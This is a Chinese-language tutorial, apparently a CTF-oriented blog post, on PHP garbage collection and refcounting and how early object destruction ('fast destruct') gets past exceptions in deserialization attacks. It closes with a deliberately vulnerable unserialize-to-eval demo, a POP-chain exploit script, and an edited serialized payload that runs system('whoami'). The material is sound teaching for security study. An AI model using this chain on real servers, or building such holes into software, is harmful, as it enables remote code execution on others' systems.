前言
参考文章:
测试版本:PHP 7.4.3
介绍
官方文档:https://www.php.net/manual/zh/features.gc.php
GC的全称是Garbage Collection
,即垃圾回收机制
在PHP中,是使用引用计数和回收周期来自动管理内存对象的,当一个对象被设置为NULL,或者没有任何指针指向时,他就会变成垃圾,被GC机制回收掉。这可以理解为一个对象没有被引用时就会被GC机制回收
PHP 变量存储在称为“zval”的容器中,我们这里引入一个函数xdebug_debug_zval
,这个函数可以用来查看变量容器的内容
<?php
$a="0w0";
xdebug_debug_zval("a");
在这个zval
变量容器中,不仅包含变量的类型和值,还包含两个字节的额外信息
is_ref
:是bool值,它用来标识这个变量是否是属于引用集合,即是否被引用。PHP引擎通过这个字节来区分普通变量和引用变量,由于PHP允许用户使用&
来使用自定义引用,zval
变量容器中还有一个内部引用计数机制,来优化内存使用。
refcount
:它用来表示指向zval
变量容器的变量个数。所有的符号存储在一个符号表中,其中每个符号都有作用域。
对于上面的这个例子,
我们可以看到这里定义了一个变量$a
,生成了类型为String
和值为0w0
的变量容器,
而对于两个额外的字节,is_ref
和refcount
,我们可以看到是不存在引用的,所以is_ref
的值应该是false,而refcount
是表示变量个数的,那么这里就应该是1,这里显示成了interned
在PHP GC机制当中,当程序结束时就会往变量的refcount减一,如果refcount-1=0的话,那么就会将这个变量销毁
引用计数
接下来我们添加一个引用
<?php
$a="0w0";
xdebug_debug_zval("a");
$b=&$a;
xdebug_debug_zval("a");
可以看到这里is_ref
的值变为了1,refcount
的值变为了2,符合上面的所说的规则
同一变量容器被变量a和变量b关联,即这一个zval
容器存储了a
和b
两个变量,就使得refcount
的值为2
接下来我们尝试一下在数组内引用
<?php
$a="0w0";
$arr=array(0=>"test",1=>&$a);
xdebug_debug_zval("a");
xdebug_debug_zval("arr");
发现在数组中也同样生效
现在我们来测试一下销毁的机制:
当函数执行结束或者对变量调用了
unset()
函数,refcount
就会减1
<?php
$a="0w0";
$arr=array(0=>"test",1=>&$a);
unset($a);
xdebug_debug_zval("a");
xdebug_debug_zval("arr");
这种情况refcount=1,就是说变量会被销毁
接下来我们调整一下顺序
<?php
$a="0w0";
unset($a);
$arr=array(0=>"test",1=>&$a);
xdebug_debug_zval("a");
xdebug_debug_zval("arr");
这种情况虽然结果为空,但是refcount不为1,程序结束时也不会被销毁
反序列化中的运用
GC
如果在PHP反序列化中生效,那它就会直接触发__destruct
方法
先引入一个正常的demo:
<?php
class gc{
public $num;
public function __construct($num)
{
$this->num=$num;
echo "construct(".$num.")"."\n";
}
public function __destruct()
{
echo "destruct(".$this->num.")"."\n";
}
}
$a=new gc(1);
$b=new gc(2);
$c=new gc(3);
函数的创建顺序和销毁顺序都符合我们的预期,用zval
函数看看情况
可以看到refcount为1,所以在程序结束时候销毁了,然后才触发的__destruct
但是如果我们不给a赋值,直接new一个gc类呢?
<?php
class gc{
public $num;
public function __construct($num)
{
$this->num=$num;
echo "construct(".$num.")"."\n";
}
public function __destruct()
{
echo "destruct(".$this->num.")"."\n";
}
}
new gc(1);
xdebug_debug_zval("a");
$b=new gc(2);
$c=new gc(3);
可以看到析构方法__destruct
被提前触发了,因为这个对象没进行赋值,所以根本不存在引用,因此原地销毁
同样的,我们也可以用unset($a)
来提前触发__destruct
<?php
class gc{
public $num;
public function __construct($num)
{
$this->num=$num;
echo "construct(".$num.")"."\n";
}
public function __destruct()
{
echo "destruct(".$this->num.")"."\n";
}
}
$a=new gc(1);
unset($a);
xdebug_debug_zval("a");
$b=new gc(2);
$c=new gc(3);
结果和上面是一样的
绕过Exception异常
这个方法又称fast destruct,可以直接看我的这篇博客:https://c1oudfl0w0.github.io/blog/2023/06/09/fast-destruct%E6%8E%A2%E7%B4%A2/
我们这里来测试一下zval容器,同时做一点补充
<?php
class gc{
public $num;
public function __construct($num)
{
$this->num=$num;
echo "construct(".$num.")"."\n";
}
public function __destruct()
{
echo "destruct(".$this->num.")"."\n";
}
}
$arr=array(0=>new gc(1),1=>NULL);
//$arr[0]=$arr[1];
xdebug_debug_zval('arr');
$b=new gc(2);
$c=new gc(3);
此时输出结果一切正常,键0的refcount还等于1,接下来我们把注释去掉,将0指向NULL,看看会发生什么?
和预想中的一样,键0指向了NULL,那么refcount在此时就等于0,即没有指向zval的变量了,此时等价于new gc(1)
,于是会原地销毁这个变量,destruct提前触发
Exception会提前终止导致无法触发__destruct
,那么利用上面的方法就可以绕过Exception
demo:
<?php
highlight_file(__FILE__);
error_reporting(0);
class gc0{
public $num;
public function __destruct(){
echo $this->num."hello __destruct";
}
}
class gc1{
public $string;
public function __toString() {
echo "hello __toString";
$this->string->flag();
return 'useless';
}
}
class gc2{
public $cmd;
public function flag(){
echo "hello __flag()";
eval($this->cmd);
}
}
$a=unserialize($_GET['code']);
throw new Exception("Garbage collection");
?>
exp:
<?php
class gc0{
public $num;
}
class gc1{
public $string;
}
class gc2{
public $cmd='system("whoami");';
}
$a=new gc0;
$b=new gc1;
$c=new gc2;
$a->num=$b;
$b->string=$c;
$arr=array(0=>$a,1=>NULL);
echo serialize($arr);
得到结果a:2:{i:0;O:3:"gc0":1:{s:3:"num";O:3:"gc1":1:{s:6:"string";O:3:"gc2":1:{s:3:"cmd";s:17:"system("whoami");";}}}i:1;N;}
这时候我们把键名1改为0,也就是修改结果为a:2:{i:0;O:3:"gc0":1:{s:3:"num";O:3:"gc1":1:{s:6:"string";O:3:"gc2":1:{s:3:"cmd";s:17:"system("whoami");";}}}i:0;N;}
这就等效于将0指向了NULL,从而提前销毁来触发__destruct